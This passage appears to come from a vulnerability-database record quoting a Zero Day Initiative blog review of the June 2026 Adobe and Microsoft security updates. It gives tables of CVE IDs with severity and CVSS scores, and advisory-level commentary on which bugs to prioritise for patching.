Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "84c7e2fa-1fd3-413d-baf2-9b3b39ccbd10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48569", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  